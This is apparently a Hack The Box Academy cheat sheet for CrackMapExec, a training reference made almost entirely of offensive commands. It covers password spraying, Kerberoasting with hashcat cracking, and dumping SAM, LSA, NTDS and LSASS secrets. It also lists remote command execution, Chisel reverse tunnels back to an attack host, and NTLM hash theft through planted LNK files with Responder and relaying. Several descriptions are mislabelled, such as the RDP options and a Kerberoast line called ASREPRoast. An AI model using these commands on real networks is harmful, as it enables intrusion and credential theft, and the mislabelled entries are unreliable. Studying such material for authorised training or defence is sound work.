HACKTHEBOX

USING CRACKMAPEXEC
CHEAT SHEET

Connecting to Targets

Command	Description
`cme [protocol] 10.10.10.1`	Protocol can be smb, winrm, mssql, ldap, ssh, rdp or ftp.
`cme [protocol] <target>`	Target can be a DNS, an IP, a file with IPs or DNSs, or CIDR.
`cme [protocol] <target> -u`	User can be a name, a list of names, or a file with usernames.
`cme [protocol] <target> -u <username, list or file with users> -p`	Password can be a plaintext password, a list of passwords, or a file with passwords.
`cme [protocol] <target> -u <username, list or file with users> -H`	Hash can be an NTLM hash, a list of NTLM hashes, or a file with NTLM hashes.

CME Output

Color	Description
Green [+]	The username and the password is valid.
Red [-]	The username or the password is invalid.

Color	Description
Magenta	The username and password are valid, but the authentication is not successful.
(Pwn3d!)	We are administrators on the target machine, or we have high privileges over the target protocol.

CME Specifics Options

Command	Description
`--continue-on-success`	By default CME will exit after a successful login is found. Using the --continue-on-success flag will continue spraying even after a valid password is found.
`--no-bruteforce`	This option is only useful when `<u>` and `<p>` are both files. By default CME will test each user specified by `<u>` with all the passwords from `<p>`; the option `--no-bruteforce` will only test one password per user line by line.
`--local-auth`	By default CME will try to authenticate to the domain controller. To use local authentication on the target.
`--kerberos` or `-k`	This option will force Kerberos Authentication on the target. Require FQDN.
`--port`	Custom PROTOCOL port.

Exporting

Command	Description
`--export $(pwd)/output.txt`	Export the output into a JSON format.
`sed -i "s/'/\"/g" <output_export>`	Format output to use with `jq` application.

Command	Description
`cme [protocol] <target> > output.txt`	An alternative if a command doesn't support export is to redirect the output to a file with `>`.

Authentication & Password Spraying

Command	Description
`cme smb <target> -u 'nop' -p '`	Testing anonymous logon.
`cme smb <target> -u <u> -p/-H <p>/<H>`	Testing Domain authentication on the target.
`cme smb <target> -u <u> -p/-H <p>/<H> --continue-on-success`	Testing Domain authentication on the target, continue even if one valid credential found.
`cme smb <target> -u <u> --aesKey <AES_128/AES_256>`	Use AES-128 or AES-256 hashes for Kerberos Authentication.
`cme smb <target> -u <u> -p <p> --no-bruteforce`	Testing Domain authentication on the target when and are both files.
`cme smb <target> -u <u> -p <p> -d <domain>`	Testing Domain authentication on the target by forcing the domain name **Add this option to all the commands above if you want to force the domain**
`cme smb <target> --use-kcache`	Use ccache file for Kerberos authentication.

SMB Enumeration

Command	Description
`cme smb <target>`	Enumerate available hosts (OS version, SMB version, IP).

Command	Description
`cme smb <target> --gen-relay-list output.txt`	Maps the network of live hosts and saves a list of only the hosts that don't require SMB signing.
`cme smb <target> -u <u> -p <p> --sessions`	Enumerate active sessions on the target.
`cme smb <target> -u <u> -p <p> --shares`	Enumerate permissions on all shares of the target.
`cme smb <target> -u <u> -p <p> --disks`	Enumerate disks on the target.
`cme smb <target> -u <u> -p <p> --computers`	Enumerate computers on the target domain.
`cme smb <target> -u <u> -p <p> --loggedon-users`	Enumerate logged users on the target.
`cme smb <target> -u <u> -p <p> --users`	Enumerate domain users on the target.
`cme smb <target> -u <u> -p <p> --rid-brute [MAX_RID]`	Enumerate users by bruteforcing the RID on the target. By default up to 4000.
`cme smb <target> -u <u> -p <p> --loggedon-users`	Enumerate logged users on the target.
`cme smb <target> -u <u> -p <p> --groups`	Enumerate domain groups on the target.
`cme smb <target> -u <u> -p <p> --local-group`	Enumerate local groups on the target.
`cme smb <target> -u <u> -p <p> --pass-pol`	Enumerate Password policy of the domain.
`cme smb <target> -u <u> -p <p> --wmi`	Issues the specified WMI query.
`cme smb <target> -u <u> -p <p> --wmi-namespace`	WMI Namespace (default: root\cimv2).

LDAP Enumeration

Command	Description
`cme ldap <target> -u <u> -p <p> --users`	Enumerate enabled domain users.
`cme ldap <target> -u <u> -p <p> --groups`	Enumerate domain groups.
`cme ldap <target> -u <u> -p <p> --password-not-required`	Get the list of users with flag PASSWD_NOTREQD.
`cme ldap <target> -u <u> -p <p> --trusted-for-delegation`	Get the list of users and computers with flag TRUSTED_FOR_DELEGATION.
`cme ldap <target> -u <u> -p <p> --admin-count`	Get objets that had the value adminCount=1.
`cme ldap <target> -u <u> -p <p> --get-sid`	Get domain sid.
`cme ldap <target> -u <u> -p <p> --gmsa`	Enumerate GMSA passwords.

RDP Enumeration

Command	Description
`cme rdp <target> -u <u> -p <p> --nla-screenshot`	If NLA is disabled it will allow you to take a screenshot of the login prompt.
`cme rdp <target> -u <u> -p <p> --screenshot`	Enumerate active sessions on the target.
`cme rdp <target> -u <u> -p <p> --screentime <SCREENTIME>`	Enumerate permissions on all shares of the target.
`cme rdp <target> -u <u> -p <p> --res <RESOLUTION>`	Enumerate active sessions on the target.

Finding Accounts

Command	Description

Command	Description
`cme ldap <target_fqdn> -u <u> -p <p> --asreproast asreproast.out`	Retrieve the Kerberos 5 AS-REP etype 23 hash of users without Kerberos pre-authentication required.
`cme ldap <target_fqdn> -u <u> -p <p> --kerberoasting kerberoasting.out`	Retrieve the Kerberos 5 TGS-REP etype 23 hash using Kerberoasting technique.
`hashcat -m 18200 asreproast.out /usr/share/wordlists/rockyou.txt --force`	Module for Cracking ASREPRoast.
`hashcat -m 13100 kerberoasting.out /usr/share/wordlists/rockyou.txt --force`	Module for Cracking ASREPRoast.

MSSQL Enumeration and Attacks

Command	Description
`cme mssql <target> -u <u> -p <p> -q <SQL_QUERY>`	Perform an SQL Query againts the target machine.
`cme mssql <target> -u <u> -p <p> -x <command>`	Executing Windows command on the target if the option `xp_cmdshell` is available to the user.
`cme mssql <target> -u <u> -p <p> -M mssql_priv`	Enumerates MSSQL privileges to scale from a standard user into a sysadmin.
`cme mssql <target> -u <u> -p <p> -M mssql_priv -o ACTION=privesc`	Exploit MSSQL privileges to scale from a standard user into a sysadmin.
`cme mssql <target> -u <u> -p <p> -M mssql_priv -o ACTION=rollback`	Rollback user's privileges to standard user.
`cme mssql <target> -u <u> -p <p> --share <share_name> --get-file <remote_filename> <output_filename>`	Get a remote file from a shared folder.

Command	Description
`cme mssql <target> -u <u> -p <p> --share <share_name> --put-file <local_filename> <remote_filename>`	Put a local file into a remote location.

Domain Enumeration

Command	Description
`cme smb <target> -u <u> -p <p> -M gpp_password`	Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences (GPP).
`cme smb <target> -u <u> -p <p> -M gpp_autologin`	Searches the domain controller for registry.xml to find autologin information and returns the username and password.

File Operations

Command	Description
`cme smb <target> -u <u> -p <p> --spider <share_name> --pattern <pattern>`	Search in a remote share for a pattern.
`cme smb <target> -u <u> -p <p> --spider <share_name> --regex <regex>`	Search in a remote share using regular expression.
`cme smb <target> -u <u> -p <p> --spider <share_name> --content`	Enable content search. Can be combined with --pattern or --regex.
`cme smb <target> -u <u> -p <p> --share <share_name> --get-file <remote_filename> <output_filename>`	Get a remote file from a shared folder.
`cme smb <target> -u <u> -p <p> --share <share_name> --put-file <local_filename> <remote_filename>`	Put a local file into a remote location.

Command	Description
`cme smb <target> -u <u> -p <p> -M spider_plus -o EXCLUDE_DIR=IPC$,print$,NETLOGON,SYSVOL`	Creates a file containing the shares and files information. We can add the option EXCLUDE_DIR to prevent it from looking into specific shared folders.
`cme smb <target> -u <u> -p <p> -M spider_plus -o READ_ONLY=false`	Download all files from all shared folder.

Using Proxychains and Chisel

Command	Description
`chisel server --reverse`	Method #1 - Using our attack host as the chisel server.
`cme smb <target> -u <u> -p <p> -x "C:\Windows\Temp\chisel.exe client 10.10.14.33:8080 R:socks"`	Method #1 - Using the target machine as the Chisel client.
`cme smb <target> -u <u> -p <p> -x "C:\Windows\Temp\chisel.exe server --socks5"`	Method #2 - Using the target machine as the Chisel server.
`chisel client 10.129.204.133:8080 socks`	Method #2 - Using our attack host as the Chisel client.

Stealing Hashes

Command	Description
`cme smb <target> -u <u> -p <p> -M slinky -o SERVER=<YOUR_IP> NAME=<LNK_filename`	Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions.
`sudo responder -I tun0`	Start Responder to listen for requests.
`ntlmrelayx.py -t <target> -smb2support --no-http`	Relay NTLMv2 to the target machine.

Command	Description
`cme smb <target> -u <u> -p <p> -M slinky -o SERVER=<YOUR_IP> NAME=<LNK_filename CLEAN=YES`	Search and delete the LNK file in all shares or the selected shared folder.
`cme smb <target> -u <u> -p <p> -M drop-sc -o URL=\\\\<YOUR_IP>\\secret SHARE=<shared_folder> FILENAME=<filename>`	Creates a .searchConnector-ms with an attribute containing a UNC path to the specified SMB server in the selected shared folder.
`cme smb <target> -u <u> -p <p> -M drop-sc -o CLEANUP=True FILENAME=<filename>`	Search and delete the .searchConnector-ms file in the selected shared folder.

Command Execution

Command	Description
`cme smb <target> -u <u> -p <p> -x <command>`	Execute the CMD on the target.
`cme smb <target> -u <u> -p <p> -X <command>`	Execute Powershell on the target.
`cme winrm <target> -u <u> -p <p> -x <command>`	Execute the CMD on the target using WinRM protocol.
`cme winrm <target> -u <u> -p <p> -X <command>`	Execute the Powershell on the target using WinRM protocol.
`cme ssh <target> -u <u> -p <p> -x <command>`	Executing remote command on the target.
`cme ssh <target> -u <u> -p <p> --key-file <KEY_FILE> -x <command>`	Using private keys as the authentication method.
`--exec-method <EXEC_METHOD>`	Method to execute the command. Ignored if in MSSQL mode (default: wmiexec).
`--amsi-bypass <FILE>`	File with a custom AMSI bypass.

Extracting Secrets

Command	Description
`cme smb <target> -u <u> -p <p> --sam`	Dump SAM on the target.
`cme smb <target> -u <u> -p <p> --lsa`	Dump LSA on the target.
`cme smb <target> -u <u> -p <p> --ntds`	Dump NTDS.dit on the domain controller using drsuapi method.
`cme smb <target> -u <u> -p <p> --ntds vss`	Dump NTDS.dit on the domain controller using the VSS method.
`cme smb <target> -u <u> -p <p> -M lsassy`	Dump the memory of the LSASS process with lsassy.
`cme smb <target> -u <u> -p <p> -M procdump`	Dump the memory of the LSASS process with procdump.
`cme smb <target> -u <u> -p <p> -M handlekatz`	Dump the memory of the LSASS process with handlekatz.
`cme smb <target> -u <u> -p <p> -M nanodump`	Dump the memory of the LSASS process with nanodump.

Popular Modules

Command	Description
`cme [protocol] -M <module_name> --options`	Show module options.
`cme ldap <target> -u <u> -p <p> -M get-network -o ALL=true`	Get DNS and IP information.
`cme ldap <target> -u <u> -p <p> -M laps`	Retrieve all computers an account has access to read.
`cme ldap <target> -u <u> -p <p> -M maq`	Get the machine account quota for a user.

Command	Description
`cme ldap <target> -u <u> -p <p> -M daclread -o TARGET=<username> ACTION=<read>`	Read all ACEs of the target account.
`cme ldap <target> -u <u> -p <p> -M daclread -o TARGET_DN=<DN> ACTION=read RIGHTS=DCSync`	Read all objects with DCSync privileges.
`cme smb <target> -u <u> -p <p> -M keepass_discover`	Locate the KeePass configuration file in the target machine.
`cme smb <target> -u <u> -p <p> -M keepass_trigger -o ACTION=ALL KEEPASS_CONFIG_PATH= <PATH_TO_KEEPASS_CONF>`	Perform a chain attack to obtain the KeePass database.
`cme smb <target> -u <u> -p <p> -M rdp -o ACTION= <enable/disable>`	Enable or Disable RDP.

Vulnerability Scan Modules

Command	Description
`cme smb <target> -M Zerologon`	Module to check if the DC is vulnerable to Zerologon, aka CVE-2020-1472.
`cme smb <target> -M PetitPotam`	Module to check if the DC is vulnerable to PetitPotam, credit to @topotam.
`cme smb <target> -M ms17-010`	Module to check if the target is vulnerable to MS17-010.
`cme smb <target> -u <u> -p <p> -M nopac`	Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user.
`cme smb <target> -u <u> -p <p> -M dfscoerce`	Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam.
`cme smb <target> -u <u> -p <p> -M shadowcoerce`	Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam.

CMEDB Commands

Command	Description
`workspace list`	List workspaces.
`workspace <workspace>`	Switch to an specific workspace.
`proto <protocol>`	Access protocol database.
`creds`	Display plaintext and hashes credentials for a specific protocol.
`creds plaintext`	Display plaintext credentials for a specific protocol.
`creds hash`	Display hashes credentials for a specific protocol.
`creds <username>`	Display credentials for specific user.
`creds add`	Manually add a user to the database.
`creds remove`	Manually remove a user from the database.
`hosts`	Display the computers to which we have gained access.
`shares`	Display shared folder information.
`export creds <simple/detailed> <filename>`	Export credentials.
`export shares <simple/detailed> <filename>`	Export shared folders.
`export local_admins <simple/detailed> <filename>`	Export Local Admins information.

HTB ACADEMY CHEATSHEET